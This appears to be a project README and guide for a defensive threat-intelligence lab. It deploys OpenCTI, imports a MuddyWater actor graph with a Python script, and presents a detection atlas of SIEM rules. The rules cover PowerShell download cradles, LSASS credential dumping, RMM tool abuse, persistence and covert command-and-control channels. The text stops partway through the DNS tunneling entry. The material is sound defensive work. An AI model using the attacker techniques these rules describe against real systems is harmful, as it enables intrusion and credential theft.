GitHub - anpa1200/opencti-intelligent-shield: OpenCTI AI-driven threat intelligence enrichment with Claude and Docusaurus documentation

• Medium guide:

The Intelligent Shield. OpenCTI

• Main guide: anpa1200.github.io/opencti-intelligent-shield

OpenCTI AI Enrichment | The Intelligent Shield

The Intelligent Shield project covers: OpenCTI core stack (Redis, Elasticsearch, MinIO, RabbitMQ, platform, workers), MITRE ATT&CK connector, and a custom internal enrichment connector that uses Claude to automatically summarize and enrich threat objects. Docker Compose files, a sanitized .env.example, and full setup instructions are all version-controlled.

To spin up the stack standalone (outside Operation Desert Hydra):

git clone https://github.com/anpa1200/opencti-intelligent-shield.git openCTI
cd openCTI
cp .env.example .env
# fill in tokens and passwords
./scripts/start-all.sh   # OpenCTI at :8080
./scripts/stop-all.sh    # halt, preserves volumes

In the context of Operation Desert Hydra the stack is embedded in stack/ and started with bash start.sh — no separate clone needed. The Intelligent Shield project is the standalone reference deployment for anyone who wants OpenCTI without the lab.

Step 10: Stack Start

bash start.sh --skip-lab   # starts OpenCTI + Elasticsearch + Kibana only

All 12 core containers start: Redis, Elasticsearch, MinIO, RabbitMQ, OpenCTI platform, 3 workers, and the MITRE ATT&CK connector.

Result: OpenCTI reachable at http://localhost:8080. All containers healthy.

Step 11: MITRE ATT&CK Connector Sync

The MITRE ATT&CK connector loads 846 techniques into the graph. This sync must complete before the import script can link procedures to techniques.

Result: 846 ATT&CK patterns loaded. Connector state: ACTIVE.

Step 12: Import Script

Script: tools/opencti_import.py

export OPENCTI_URL=http://localhost:8080
export OPENCTI_TOKEN=<admin token from stack/.env>
python3 tools/opencti_import.py

The script reads data/sources.yaml and data/procedures.yaml — it does not hardcode any intelligence. The YAML files are the single source of truth; the script is just a translation layer from those files into OpenCTI's API.

What it creates and why:

Step 1 — Iran MOIS (Identity: Organization). Every object in OpenCTI needs a createdBy reference. Creating the sponsoring organization first gives all downstream objects a consistent authoring context and makes the attribution relationship explicit in the graph: MuddyWater → attributed-to → Iran MOIS.

Step 2 — MuddyWater (Intrusion Set). The intrusion set object carries all known aliases: Seedworm, Mango Sandstorm, TA450, Static Kitten, TEMP.Zagros, Mercury, DEV-1084. Aliases matter for deduplication — OpenCTI uses them to avoid creating duplicate entities when the same actor appears under different names in different reports.

Step 3 — Malware catalog (9 objects). Each actor-developed tool gets a Malware object with a description derived from source reporting. The catalog: POWERSTATS, PowGoop, Small Sieve, Canopy, Mori, BugSleep, AnchorRAT, SyncroRAT, DarkBit.

Step 4 — Tool catalog (4 objects). Legitimate tools abused by the actor are STIX Tool objects, not Malware — the distinction matters for downstream analysis. The catalog: AteraAgent, SimpleHelp, Mimikatz, LaZagne.

Step 5 — uses relationships. MuddyWater → uses → each malware and tool object. These relationships make the graph queryable: “which tools does this actor use?” returns all 13 objects in one hop.

Step 6 — Reports from sources.yaml. One Report object per promoted source, with publisher, reliability rating, credibility score, actor claims, key entities, and ATT&CK candidates written into the description. MuddyWater is added as an object reference so each report is queryable from the actor page.

Step 7 — ATT&CK pattern links from procedures.yaml. Iterates all attck_candidates across the 10 procedure records and creates MuddyWater → uses → ATT&CK technique relationships. If the MITRE connector has not yet synced a technique, the script creates a stub Attack Pattern object (with x_mitre_id set) and flags it for enrichment. This prevents the import from failing on a timing issue between the connector sync and the import run.

The script is idempotent: every object lookup uses a read() before create(). Re-running after a partial failure or after the MITRE connector syncs simply confirms existing objects and fills in any gaps.

#!/usr/bin/env python3
"""
Desert Hydra — Phase 3 OpenCTI graph import.Reads data/sources.yaml and data/procedures.yaml and creates:
  - Identity:       Iran MOIS (organization)
  - Intrusion Set:  MuddyWater (with all known aliases)
  - Malware:        actor-developed tools (9 objects)
  - Tool:           legitimate tools abused (4 objects)
  - Reports:        one per promoted source (up to 20)
  - Relationships:  attributed-to, uses (malware/tool/ATT&CK)
Idempotent - existing objects are not duplicated.
ATT&CK pattern links are skipped for techniques not yet synced by the
MITRE connector; re-run the script after the MITRE sync completes.
Usage:
    export OPENCTI_URL=http://localhost:8080
    export OPENCTI_TOKEN=<admin-token>
    python3 tools/opencti_import.py
"""
import os
import sys
import yaml
from pathlib import Path
from pycti import OpenCTIApiClient
from pycti.entities.opencti_identity import IdentityTypes
# ── Bootstrap ─────────────────────────────────────────────────────────────────
OPENCTI_URL   = os.environ.get("OPENCTI_URL",   "http://localhost:8080")
OPENCTI_TOKEN = os.environ.get("OPENCTI_TOKEN", "")
REPO_ROOT     = Path(__file__).resolve().parent.parent
if not OPENCTI_TOKEN:
    sys.exit("ERROR: set OPENCTI_TOKEN environment variable")
api = OpenCTIApiClient(url=OPENCTI_URL, token=OPENCTI_TOKEN, log_level="error")
print(f"[desert-hydra] Connected  {OPENCTI_URL}")
# ── Load YAML data ─────────────────────────────────────────────────────────────
with open(REPO_ROOT / "data" / "sources.yaml") as f:
    SOURCES = yaml.safe_load(f)["sources"]
with open(REPO_ROOT / "data" / "procedures.yaml") as f:
    PROCEDURES = yaml.safe_load(f)["procedures"]
print(f"[desert-hydra] Loaded {len(SOURCES)} sources, {len(PROCEDURES)} procedures")
# ── TLP:WHITE ─────────────────────────────────────────────────────────────────
def get_tlp_white():
    results = api.marking_definition.list(
        filters={
            "mode": "and",
            "filters": [{"key": "definition", "values": ["TLP:WHITE"]}],
            "filterGroups": [],
        }
    )
    if results:
        return results[0]["id"]
    obj = api.marking_definition.create(
        definition_type="TLP",
        definition="TLP:WHITE",
        x_opencti_color="#ffffff",
        x_opencti_order=0,
    )
    return obj["id"]
TLP_WHITE = get_tlp_white()
# ── Helpers ───────────────────────────────────────────────────────────────────
def _find(accessor, name):
    """Look up a STIX object by name. Returns the object dict or None."""
    return accessor.read(
        filters={
            "mode": "and",
            "filters": [{"key": "name", "values": [name]}],
            "filterGroups": [],
        }
    )

def link(from_id, to_id, rel_type, confidence=80):
    """Create a STIX core relationship; silently skip if it already exists."""
    try:
        api.stix_core_relationship.create(
            fromId=from_id,
            toId=to_id,
            relationship_type=rel_type,
            confidence=confidence,
            objectMarking=[TLP_WHITE],
        )
    except Exception:
        pass

ATTCK_NAMES = {
    "T1574.002": "DLL Side-Loading",
    "T1574.001": "DLL Search Order Hijacking",
    "T1546.015": "Component Object Model Hijacking",
    "T1218.010": "Regsvr32",
}
def find_or_create_attack_pattern(mitre_id):
    """Look up an ATT&CK pattern by x_mitre_id. Create stub if not synced yet."""
    result = api.attack_pattern.read(
        filters={
            "mode": "and",
            "filters": [{"key": "x_mitre_id", "values": [mitre_id]}],
            "filterGroups": [],
        }
    )
    if result:
        return result["id"], False
    name = ATTCK_NAMES.get(mitre_id, mitre_id)
    obj = api.attack_pattern.create(
        name=name,
        x_mitre_id=mitre_id,
        description=f"MITRE ATT&CK technique {mitre_id}. Created as stub pending MITRE connector sync.",
        objectMarking=[TLP_WHITE],
        confidence=75,
    )
    return obj["id"], True
# ── Step 1: Iran MOIS Identity ────────────────────────────────────────────────
existing = _find(api.identity, "Iran MOIS")
if existing:
    MOIS_ID = existing["id"]
else:
    obj = api.identity.create(
        type=IdentityTypes.ORGANIZATION.value,
        name="Iran MOIS",
        description=(
            "Iranian Ministry of Intelligence and Security (MOIS). "
            "State sponsor attributed to MuddyWater cyber operations by CISA, FBI, "
            "CNMF, NCSC-UK, and NSA in joint advisory AA22-055A (February 2022)."
        ),
        objectMarking=[TLP_WHITE],
        confidence=85,
    )
    MOIS_ID = obj["id"]
# ── Step 2: MuddyWater Intrusion Set ──────────────────────────────────────────
existing = _find(api.intrusion_set, "MuddyWater")
if existing:
    MW_ID = existing["id"]
else:
    obj = api.intrusion_set.create(
        name="MuddyWater",
        aliases=[
            "Seedworm", "Mango Sandstorm", "TA450",
            "Static Kitten", "TEMP.Zagros", "Mercury", "DEV-1084",
        ],
        description=(
            "Iranian MOIS subordinate threat group active since at least 2017. "
            "Targets government, defense, telecom, oil and gas, and MSPs globally. "
            "Significant focus on Israeli organizations since 2022. Known for "
            "spearphishing, RMM tool abuse, and a shift toward in-house tooling "
            "(BugSleep, AnchorRAT) beginning ~May 2024."
        ),
        resource_level="government",
        primary_motivation="espionage",
        confidence=85,
        objectMarking=[TLP_WHITE],
        createdBy=MOIS_ID,
    )
    MW_ID = obj["id"]
link(MW_ID, MOIS_ID, "attributed-to", 85)
# ── Step 3: Malware catalog ────────────────────────────────────────────────────
MALWARE_CATALOG = [
    {"name": "POWERSTATS",  "aliases": ["Powermud"],   "description": "MuddyWater first-stage PowerShell backdoor (MITRE S0223)."},
    {"name": "PowGoop",     "aliases": ["Goopdate"],   "description": "DLL loader hijacking GoogleUpdate.exe via side-loading (MITRE S1046)."},
    {"name": "Small Sieve", "aliases": [],             "description": "Python backdoor compiled as NSIS; Telegram Bot API C2; OutlookMicrosift Run key."},
    {"name": "Canopy",      "aliases": ["Starwhale"],  "description": "Excel-macro dropper; startup folder persistence; HTTP POST C2."},
    {"name": "Mori",        "aliases": [],             "description": "DNS-tunneling backdoor deployed as FML.dll via regsvr32.exe."},
    {"name": "BugSleep",    "aliases": [],             "description": "In-house backdoor (2024); 43-minute scheduled task; shellcode injection."},
    {"name": "AnchorRAT",   "aliases": [],             "description": "Custom RAT (2024); COM hijacking persistence (T1546.015)."},
    {"name": "SyncroRAT",   "aliases": [],             "description": "RMM-based RAT; Technion campaign (Feb 2023); Log4j initial access."},
    {"name": "DarkBit",     "aliases": [],             "description": "Ransomware/wiper; Technion attack; vssadmin shadow copy deletion."},
]
MALWARE_IDS = {}
for m in MALWARE_CATALOG:
    existing = _find(api.malware, m["name"])
    if existing:
        MALWARE_IDS[m["name"]] = existing["id"]
    else:
        obj = api.malware.create(
            name=m["name"], aliases=m["aliases"],
            description=m["description"], is_family=False,
            objectMarking=[TLP_WHITE], createdBy=MOIS_ID,
        )
        MALWARE_IDS[m["name"]] = obj["id"]
# ── Step 4: Tool catalog ──────────────────────────────────────────────────────
TOOL_CATALOG = [
    {"name": "AteraAgent",  "aliases": ["Atera RMM"], "description": "Commercial RMM abused for persistent remote access via phishing."},
    {"name": "SimpleHelp",  "aliases": [],            "description": "Commercial RMM abused in 2024 Israeli targeting."},
    {"name": "Mimikatz",    "aliases": [],            "description": "LSASS credential dumping (T1003.001), used with procdump64.exe."},
    {"name": "LaZagne",     "aliases": [],            "description": "LSA secrets (T1003.004) and cached domain credential dumping (T1003.005)."},
]
TOOL_IDS = {}
for t in TOOL_CATALOG:
    existing = _find(api.tool, t["name"])
    if existing:
        TOOL_IDS[t["name"]] = existing["id"]
    else:
        obj = api.tool.create(
            name=t["name"], aliases=t["aliases"],
            description=t["description"],
            objectMarking=[TLP_WHITE], createdBy=MOIS_ID,
        )
        TOOL_IDS[t["name"]] = obj["id"]
# ── Step 5: uses relationships ────────────────────────────────────────────────
for mid in MALWARE_IDS.values():
    link(MW_ID, mid, "uses", 80)
for tid in TOOL_IDS.values():
    link(MW_ID, tid, "uses", 80)
# ── Step 6: Reports from sources.yaml ────────────────────────────────────────
SOURCE_DATES = {
    "src_usgov_aa22_055a_pdf_mirror":        "2022-02-24T00:00:00.000Z",
    "src_incd_muddywater_darkbit_2023":      "2023-02-07T00:00:00.000Z",
    "src_incd_muddywater_2024_evolution":    "2024-06-01T00:00:00.000Z",
    "src_cisa_aa22_055a_page":               "2022-02-24T00:00:00.000Z",
    "src_ncsc_uk_muddywater_joint_advisory": "2022-02-24T00:00:00.000Z",
    "src_incd_recent_phishing_1947":         "2024-09-01T00:00:00.000Z",
    "src_mitre_attack_muddywater_g0069":     "2024-01-01T00:00:00.000Z",
}
REPORT_IDS = {}
for src in SOURCES:
    src_id   = src["id"]
    title    = src["title"]
    pub_date = SOURCE_DATES.get(src_id, "2023-01-01T00:00:00.000Z")
    confidence = 85 if src.get("source_reliability") == "A" else 70
    description = (
        f"Publisher: {src['publisher']}\n"
        f"Reliability: {src.get('source_reliability','?')} / "
        f"Credibility: {src.get('information_credibility','?')}\n"
        f"URL: {src['url']}\n"
        f"Actor claims: {', '.join(src.get('actor_claims', []))}\n"
        f"ATT&CK candidates: {', '.join(src.get('candidate_attck_techniques', []))}"
    )
    existing = _find(api.report, title)
    if existing:
        REPORT_IDS[src_id] = existing["id"]
    else:
        obj = api.report.create(
            name=title, published=pub_date,
            description=description,
            report_types=["threat-report"],
            confidence=confidence,
            objectMarking=[TLP_WHITE],
            createdBy=MOIS_ID,
            objects=[MW_ID],
        )
        REPORT_IDS[src_id] = obj["id"]
# ── Step 7: ATT&CK pattern links from procedures ──────────────────────────────
linked, stubs = set(), []
for proc in PROCEDURES:
    for candidate in proc.get("attck_candidates", []):
        tid = candidate["technique"]
        if tid in linked:
            continue
        pattern_id, created_as_stub = find_or_create_attack_pattern(tid)
        link(MW_ID, pattern_id, "uses", 75)
        linked.add(tid)
        if created_as_stub:
            stubs.append(tid)
# ── Summary ───────────────────────────────────────────────────────────────────
print(f"Import complete - malware: {len(MALWARE_IDS)}, tools: {len(TOOL_IDS)}, "
      f"reports: {len(REPORT_IDS)}, ATT&CK links: {len(linked)}, stubs: {len(stubs)}")

Result: All objects created. Re-run confirms idempotency (no duplicates).

Step 13: Intrusion Set Verification

Result: MuddyWater entity with all aliases, Iran MOIS attribution relationship, campaign links, and malware/tool associations confirmed in OpenCTI.

Step 14: Knowledge Graph

Result: Graph shows MuddyWater → 9 malware, 4 tools, 3 campaigns, 21 ATT&CK techniques — all with source-annotated relationship edges.

Step 15: ATT&CK Matrix Coverage

Result: 21 techniques highlighted across 8 tactics in the ATT&CK Enterprise matrix.

Step 16: BugSleep Malware Detail

Result: BugSleep malware object with INCD 2024 source annotation, T1053.005 relationship (43-minute task), and C2 technique links confirmed.

Step 17: Reports List

Result: 20 report objects, one per promoted source. Each report links to the procedures and techniques it evidences.

Step 19: OpenCTI Dashboard

Result: Custom dashboard showing technique frequency heatmap by source tier — highest-corroborated techniques visible at a glance.

Phase 4: Detection Atlas

The detection atlas is the core analytical output. Each of the 11 detection records in data/detections.yaml contains:

• The specific MuddyWater behavior it targets (not the ATT&CK technique category)
• Required log sources and capability gates
• Multi-rule pseudologic (SIEM-agnostic — works as a template for Sigma, KQL, SPL, or any rule format)
• False positive classes and tuning guidance
• A creation_logic field explaining why the rule is designed this way — the design decision, not just what the rule does

Coverage scores follow a strict scale: 5 = lab-validated with a Kibana screenshot. 4 = correlated analytic (good logic, single source or partial lab). 3 = behavioral detection with partial validation. A score of 5 requires a proof, not just passing pseudologic.

Step 20 — Analyst Review

Before any detection went to validation, every record went through a review pass that checked: operator precedence in multi-clause conditions, access mask completeness for LSASS detection, path allowlist accuracy for the GoogleUpdate/Goopdate IoC, and ATT&CK technique coverage gaps. The review fixed a real operator precedence bug in det_mw_0010 Rule B where the command_line clause was outside the event_type guard, tightened the LSASS access mask set, improved T1033 coverage in det_mw_0009 Rule C via Win32_ComputerSystem, and added the x86/x64 Google installation path allowlist to det_mw_0004 Rule A.

det_mw_0001 — Email Delivery Correlated with Process Spawn

Techniques: T1566.001, T1566.002 · Score: 5 (lab-validated)

What it targets: MuddyWater delivers malicious content three ways — ZIP or Office macro attachments, links to Egnyte/OneDrive delivering RMM installers, and emails from compromised accounts. Corroborated by CISA AA22–055A, INCD 2023, and INCD 2024. The highest-priority initial access vector in the dataset.

Why it’s built this way: Email delivery alone is not a detection signal — MuddyWater’s phishing emails are indistinguishable from legitimate mail at the gateway layer. The detection value comes from correlating delivery with a process spawn on the recipient endpoint within a tight 5-minute window. The parent process constraint (Outlook, browser) is the key limiter: it restricts scope to email-triggered or link-triggered execution, which is exactly the documented delivery chain. Both attachment-based and link-based delivery methods are covered because all variants are source-confirmed. The correlated logic type reflects that neither event alone is sufficient — only the combination is meaningful.

Required telemetry: Email gateway or SEG with attachment metadata and URL extraction. EDR or Sysmon Event ID 1 with parent image and command line. Without the gateway telemetry, this detection degrades to parent-process heuristics only and loses the delivery-correlation value.

event_type IN [email_delivery] AND
  (attachment.extension IN ["zip","xlsx","xlsm","pdf","docm"] OR
   link.domain IN ["egnyte.com","onedrive.live.com","1drv.ms"])
CORRELATE WITHIN 300 seconds WITH
event_type IN [process_create] WHERE
  parent_image IN ["OUTLOOK.EXE","chrome.exe","firefox.exe","msedge.exe"] AND
  image IN ["powershell.exe","cmd.exe","wscript.exe","mshta.exe",
            "AteraAgent.exe","ScreenConnect.exe","SimpleHelp.exe","rport.exe"]

Key false positives: Legitimate macro-enabled Office files from internal users. IT-approved RMM tools deployed via email links during onboarding. Tune by excluding known sender domains and approved RMM deployment windows.

det_mw_0002 — Web Service Spawning Interpreter Shell

Techniques: T1190 · Score: 5 (lab-validated)

What it targets: MuddyWater uses public-facing exploitation as a secondary initial access vector — CVE-2020–0688 (Exchange), CVE-2020–1472 (Netlogon/Zerologon), CVE-2021–44228 (Log4j), and unspecified VPN vulnerabilities from INCD 2024.

Why it’s built this way: The detection targets the post-exploitation moment — a web service spawning a shell — rather than the exploit payload itself. This is deliberately CVE-agnostic: it fires on CVE-2020–0688, CVE-2020–1472, Log4j, and any unnamed VPN vulnerability without needing individual exploit signatures. The parent process list maps directly to the documented CVEs: w3wp.exe covers Exchange and IIS, java.exe covers Log4j, lsass.exe covers Netlogon exploitation leading to SYSTEM-level shell creation. The SYSTEM integrity level filter is the key noise reducer — legitimate administrative scripts rarely run at SYSTEM under IIS application pools without a clear documented reason.

Required telemetry: EDR or Sysmon Event ID 1 with full parent-child chain and integrity level. IDS/IPS for CVE-specific signatures as a complementary layer.

event_type = process_create AND
parent_image IN ["w3wp.exe","java.exe","lsass.exe","services.exe",
                 "vmtoolsd.exe","vpnagent.exe"] AND
image IN ["cmd.exe","powershell.exe","wscript.exe","cscript.exe","bash.exe"] AND
(parent_user IN ["NETWORK SERVICE","IIS_IUSRS","SYSTEM"] OR
 integrity_level = "System")

Key false positives: Legitimate administrative scripts under IIS application pools. Java-based monitoring agents that spawn processes. Tune by process hash allowlisting for known-good management tools.

det_mw_0003 — PowerShell Encoded Command and Script Obfuscation

Techniques: T1059.001, T1027 · Score: 5 (lab-validated)

What it targets: PowerShell obfuscation is a cross-cutting technique present in every MuddyWater tool tier — PowGoop (Base64 C2 setup), POWERSTATS (IEX + web request for stage delivery), and the 2024 lure campaigns (embedded API key executed via PowerShell). Three distinct usage patterns across tools required three rules.

Why it’s built this way: Each rule targets a different MuddyWater PowerShell pattern with a different telemetry requirement.

Rule A targets PowGoop and POWERSTATS loader delivery. The regex \s-e[a-zA-Z]*\s+[A-Za-z0-9+/=]{50,} is deliberately written to match all unambiguous prefix forms of -EncodedCommand (-e, -ec, -en, -enc) while the 50-character minimum for the Base64 blob avoids matching the -Encoding parameter. This is the operator precision that matters: -Encoding UTF8 would otherwise match a naive regex.

Rule B targets POWERSTATS script execution behavior: IEX combined with a web request. This is the decoded content layer — it requires Script Block Logging (Event ID 4104), which is the capability gate that determines whether this detection class exists at all in a given environment.

Rule C is the delivery-context fallback: PowerShell spawned by an Office application, email client, or browser has no legitimate explanation in a standard enterprise environment and fires regardless of whether Script Block Logging is enabled.

Required telemetry: Script Block Logging (Event ID 4104) — required for Rule B and for the highest-fidelity version of this detection. Sysmon Event ID 1 for Rules A and C. Without Script Block Logging, the detection degrades to command-line heuristics only.

# Rule A — Encoded command flag (all prefix forms: -e, -ec, -en, -enc ...)
event_type = process_create AND
image ENDSWITH "powershell.exe" AND
command_line IMATCHES "\s-e[a-zA-Z]*\s+[A-Za-z0-9+/=]{50,}"

# Rule B — Script Block content (Event ID 4104)
event_type = script_block_log AND
script_block_text MATCHES "(IEX|Invoke-Expression|InvokeScript)" AND
script_block_text MATCHES "(WebClient|Invoke-WebRequest|DownloadString|Net\.Http)"

# Rule C — Suspicious parent process
event_type = process_create AND
image ENDSWITH "powershell.exe" AND
parent_image IN ["OUTLOOK.EXE","winword.exe","excel.exe",
                 "chrome.exe","firefox.exe","msedge.exe","WScript.exe"]

Key false positives: Administrative scripts using -EncodedCommand for special characters. SCCM/Ansible deployments running Base64-encoded payloads. Baseline known-good encoded commands by hash before alerting on Rule A.

det_mw_0004 — Unsigned DLL Loaded by Signed Executable

Techniques: T1574.002 · Score: 3 (behavioral, partial validation)

What it targets: PowGoop’s execution method — a malicious DLL renamed Goopdate.dll placed alongside GoogleUpdate.exe, causing the legitimate signed binary to load it. Confirmed in 2024 toolset by INCD 2024.

Why it’s built this way: Two rules serve different confidence tiers. Rule A is sourced directly from the documented PowGoop technique: the specific process name (GoogleUpdate.exe), DLL name (Goopdate.dll), and the fact that any path outside the Google installation directories is anomalous. The allowlist covers both x86 and x64 installation paths because omitting either creates a bypass. This combination — specific binary, specific DLL name, path outside expected directory — is near-unique and fires with high precision. Rule B is the generic behavioral net for future DLL side-loading variants where the actor may use different binary names — it trades precision for coverage against toolset evolution.

Score is 3 (not 5) because the lab’s stub DLL did not produce sufficient Sysmon EID 7 signal during validation. The detection logic is sound; the telemetry dependency (Sysmon image load events with signing status) is the constraint.

Required telemetry: Sysmon Event ID 7 (ImageLoad) with signed/unsigned status — this is the hard dependency. Without it, DLL loads are invisible to SIEM-based detection.

# Rule A — Specific IoC: GoogleUpdate loading Goopdate from non-Google path
event_type = image_load AND
image ENDSWITH "GoogleUpdate.exe" AND
loaded_image ENDSWITH "Goopdate.dll" AND
NOT (loaded_image_path STARTSWITH "C:\Program Files (x86)\Google\" OR
     loaded_image_path STARTSWITH "C:\Program Files\Google\")

# Rule B — Generic: signed process loading unsigned DLL from user-writable path
event_type = image_load AND
process_signed = true AND
loaded_image_signed = false AND
loaded_image_path MATCHES "(\\Users\\|\\AppData\\|\\Temp\\|\\ProgramData\\)"

Key false positives: Third-party software shipping unsigned DLLs alongside signed executables (common). Developer workstations with locally compiled DLLs. Rule B requires environment-specific tuning before production deployment.

det_mw_0005 — Registry Run Key and Startup Folder Persistence

Techniques: T1547.001 · Score: 5 (lab-validated)

What it targets: Multiple MuddyWater malware families use Run key persistence with actor-specific value names. Small Sieve: OutlookMicrosift (deliberate typo mimicking Microsoft). AA22-055A documents a second key: SystemTextEncoding. Canopy installs a WSF script in the startup folder — a sub-technique that doesn't appear as a Run key write.

Why it’s built this way: Three rules cover three distinct persistence mechanisms across the malware catalog. Rule A is an exact-match IoC alert on the two named value names — it fires immediately on any match without needing path or parent context, because these specific strings have no legitimate usage in a standard enterprise environment. Rule B is the behavioral safety net for unknown or renamed values: path heuristic (AppData/Temp) combined with a non-installer parent covers the common pattern of malware writing its own persistence without using an installer. The process_integrity_level filter removes high-integrity (admin-level) processes from the behavioral rule because legitimate software installers typically run elevated. Rule C is added specifically to cover Canopy's startup folder WSF persistence, which doesn't show up as a Run key write at all — it's a file creation event.

Required telemetry: Sysmon Event ID 13 (registry value set) for Rules A and B. Sysmon Event ID 11 (file create) for Rule C.

# Rule A — Specific IoC: known MuddyWater Run key value names
event_type = registry_set AND
registry_key MATCHES "\\CurrentVersion\\Run" AND
registry_value_name IN ["OutlookMicrosift","SystemTextEncoding"]


# Rule B - Behavioral: Run key pointing to writable/unusual path
event_type = registry_set AND
registry_key MATCHES "(HKCU|HKLM)\\.*\\CurrentVersion\\Run" AND
registry_value_data MATCHES "(\\AppData\\|\\Temp\\|\\ProgramData\\|\\Users\\)" AND
process_image NOT IN ["msiexec.exe","setup.exe","install.exe","update.exe"] AND
process_integrity_level NOT IN ["High","System"]
# Rule C - Script files written to startup folder (covers Canopy WSF)
event_type = file_create AND
file_path MATCHES "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" AND
file_extension IN ["wsf","vbs","js","ps1","bat","cmd"]

Key false positives: Rule A has essentially zero false positives on the specific value names. Rule B requires installer process exclusion — the list is environment-specific. Rule C may fire on legitimate startup scripts deployed by IT via Group Policy; exclude by file hash or signer.

det_mw_0006 — Scheduled Task with 43-Minute Beacon Interval

Techniques: T1053.005 · Score: 4 (correlated analytic)

What it targets: BugSleep creates a Windows scheduled task triggered every 43 minutes for C2 beaconing — a specific behavioral fingerprint documented in the INCD 2024 report. The interval is documented as customizable, but 43 minutes is the observed operational value.

Why it’s built this way: The 43-minute interval is the single most precise artifact in the entire procedure dataset. Rule A is designed as a high-fidelity immediate alert requiring no tuning: PT43M is the ISO 8601 duration format for 43 minutes and appears verbatim in the Windows Task XML. This fires with near-zero false positives because no legitimate software uses a 43-minute repeat interval for any standard purpose. Rule B generalizes the pattern for future BugSleep variants that may use a different interval: short repetition (under 60 minutes) combined with a task action pointing to a user-writable path is anomalous regardless of exact interval. Rule C is the telemetry fallback — many environments do not forward Task Scheduler event logs to SIEM, but schtasks.exe process creation (Sysmon EID 1) is more commonly collected and captures the command line.

Score is 4 (not 5) because this is a single-source procedure — INCD 2024 only. Before treating Rule A as a high-confidence production alert, corroborate with a second vendor source.

Required telemetry: Windows Security Event ID 4698 (scheduled task created) or Task Scheduler operational log for Rules A and B. Sysmon Event ID 1 for Rule C.

# Rule A — Specific: 43-minute interval (BugSleep artifact) — immediate alert
event_type = scheduled_task_created AND
task_trigger_repetition_interval = "PT43M"

# Rule B - Behavioral: short interval + suspicious action path
event_type = scheduled_task_created AND
task_trigger_repetition_interval_minutes < 60 AND
task_action_path MATCHES "(\\AppData\\|\\Temp\\|\\ProgramData\\|\\Users\\)" AND
creating_process NOT IN ["svchost.exe","taskeng.exe","msiexec.exe"]
# Rule C - Sysmon command line fallback
event_type = process_create AND
image ENDSWITH "schtasks.exe" AND
command_line MATCHES "/create" AND
command_line MATCHES "(AppData|Temp|ProgramData)"

Key false positives: Backup and monitoring software creating frequent tasks. Browser update mechanisms. Rule B requires interval baseline per environment before production deployment.

det_mw_0007 — RMM Tool Executed from User-Writable Path

Techniques: T1219 · Score: 5 (lab-validated)

What it targets: RMM tool abuse is the most consistently documented MuddyWater technique across all source tiers — five independent government and vendor sources corroborate it. Tool inventory across campaigns: ScreenConnect (2022), SyncroRAT (Israel 2023), rport.exe (DarkBit operation), AteraAgent (multiple sources), SimpleHelp, Level, PDQConnect (2024).

Why it’s built this way: RMM tool detection is inherently a context problem. The binary is legitimate. The network traffic to vendor infrastructure is legitimate. Only the delivery chain and execution path are anomalous. Three rules address this from different angles.

Rule A uses path as the primary signal: a legitimately IT-deployed RMM tool installs to Program Files or a managed path, not AppData/Temp/Downloads. A known RMM binary executing from a user-writable path means it was delivered, not installed by IT.

Rule B uses parent process as the signal: no legitimate RMM deployment is spawned by Outlook, a browser, or an archive utility. This is the delivery-context constraint — if an RMM binary’s parent is OUTLOOK.EXE, the delivery chain is phishing regardless of what the binary is.

Rule C uses network destination: RMM infrastructure connections from endpoints with no authorized RMM deployment are anomalous. Rules A+C together — RMM binary from writable path plus outbound connection to vendor domain — form the highest-confidence combined signal.

The baseline prerequisite is non-negotiable. Rule C without a baseline of authorized RMM deployments per endpoint generates constant noise in any environment that legitimately uses RMM tools. This is the single highest-ROI detection in the dataset if the baseline is clean.

Required telemetry: EDR or Sysmon Event ID 1 with parent image and file path. Network flow or proxy logs with process name attribution for Rule C.

# Rule A — Known RMM binary from non-standard installation path
event_type = process_create AND
(image ENDSWITH "AteraAgent.exe" OR
 image ENDSWITH "ScreenConnect.exe" OR
 image ENDSWITH "SimpleHelp.exe" OR
 image ENDSWITH "rport.exe" OR
 image ENDSWITH "SyncroRAT.exe" OR
 image ENDSWITH "Level.exe" OR
 image ENDSWITH "PDQConnect.exe") AND
image_path MATCHES "(\\AppData\\|\\Temp\\|\\Downloads\\|\\Users\\[^\\]+\\Desktop\\)"

# Rule B - RMM binary spawned by email client or browser
event_type = process_create AND
(image ENDSWITH "AteraAgent.exe" OR image ENDSWITH "ScreenConnect.exe" OR
 image ENDSWITH "SimpleHelp.exe" OR image ENDSWITH "rport.exe") AND
parent_image IN ["OUTLOOK.EXE","outlook.exe","chrome.exe","firefox.exe",
                 "msedge.exe","7zFM.exe","WinRAR.exe","explorer.exe"]
# Rule C - Outbound connection to RMM vendor infrastructure from unexpected endpoint
event_type = network_connection AND
destination_domain MATCHES "(atera\.com|screenconnect\.com|simplehelp\.net|syncromsp\.com)" AND
source_process NOT IN [known_rmm_processes_baseline]

Key false positives: All RMM tools are legitimate software — the entire detection depends on delivery context and path. Authorized deployments must be baselined per endpoint before any rule produces useful signal. Help desk technicians installing RMM from their downloads folder will match Rule A; exclude by user account or machine type.

det_mw_0008a — Non-Browser Process Connecting to Telegram Bot API

Techniques: T1071.001, T1102 · Score: 3 (behavioral, partially validated)

What it targets: Small Sieve beacons exclusively via the Telegram Bot API (api.telegram.org) over HTTPS. This is one of the most specific C2 channels documented for MuddyWater — a fixed, known hostname with no CDN rotation.

Why it’s built this way: The detection is single-rule because the signal is specific enough not to need graduated fallbacks. api.telegram.org is a fixed hostname. The discriminating condition is not the domain but the process: in enterprise environments where Telegram is not a standard application, any process connecting to this endpoint is anomalous. The approach is deliberately narrow — it will miss if MuddyWater switches from Telegram to another messaging API, but fires with high precision on the documented Small Sieve C2 channel.

Score is 3 because VirtualBox NAT blocked outbound Telegram connections in the lab, preventing full Kibana validation of the network connection event.

Required telemetry: DNS query logs or network flow logs with process name attribution. In environments without process-attributed network telemetry, this degrades to a domain-based alert with no process context.

event_type = network_connection AND
destination_domain = "api.telegram.org" AND
destination_port = 443 AND
source_process NOT IN ["Telegram.exe","telegram.exe","chrome.exe",
                        "firefox.exe","msedge.exe","iexplore.exe"]

Key false positives: Telegram desktop application where it is approved. Bot developers testing scripts from dev workstations. In organizations where Telegram is standard, strict process allowlisting is required before this detection is useful.

det_mw_0008b — DNS Tunneling Volume and Entropy

Techniques: T1572 · Score: 5 (lab-validated)

What it targets: Mori, MuddyWater’s DNS-tunneling backdoor, uses DNS queries as the C2 channel. DNS tunneling encodes data in subdomain labels, producing distinctive patterns: high query volume to a single domain, unusually long subdomain strings, and high Shannon entropy in the label content.

